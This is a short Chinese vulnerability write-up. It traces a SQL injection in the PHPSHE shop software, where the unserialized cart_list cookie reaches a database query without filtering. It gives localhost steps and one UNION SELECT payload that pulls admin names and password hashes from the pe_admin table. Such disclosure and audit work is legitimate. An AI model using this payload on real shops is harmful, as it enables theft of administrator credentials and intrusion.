文件order.php
$cart_info = cart_info(unserialize($_c_cart_list));
这里的$_c_cart_list就是Cookie中的cart_list
反序列化后进入cart_info函数。
跟进cart_info函数
在没有登陆的情况下$_c_cart_list as的$k进入了SQL语句:
$db->pe_select('product', array('product_id'=>$k), '`product_name`, `product_logo`, `product_smoney`, `product_wlmoney`, `product_num` as `product_maxnum`');
我们跟进pe_select函数
最后array('product_id'=>$k)中的$k进入了SQL语句,最为`{$k}` = '{$v}'中的'{$v}'。
我们来整理思路:
1、从Cookie中取出cart_list的值,即为$_c_cart_list的值
2、将$_c_cart_list的内容反序列化后进入cart_info函数
3、在cart_info函数中$_c_cart_list的key进入了SQL语句
4、$_c_cart_list的key在执行SQL语句时作为value执行
在整个过程中都没有对最终进入SQL的value进行过滤,导致我们修改Cookie中cart_list的值,最后进入SQL语句,导致注入。
第一步添加一个物品到购物车:
http://localhost/phpshe/index.php?mod=order&act=cartadd&product_id=1&product_num=1
然后访问购物车:
http://localhost/phpshe/index.php?mod=order&act=add
此时购物车已经有一个物品了
第二步我们来修改Cookie中的cart_list的内容:
此时购物车已经有一个物品,这是Cookie中的cart_list的值为:
反序列化后的值为:
反序列化后这里的key为1.
我们将反序列化后的cart_list的key修改为-1'union select concat(admin_name, 0x23, admin_pw),2,3,4,5 from pe_admin#,修改后的cart_list值为:
然后再将修改后的cart_list的值序列化,序列化后cart_list的值为:
最后将上面的值带入Cookie中:

访问http://localhost/phpshe/index.php?mod=order&act=add页面即可:
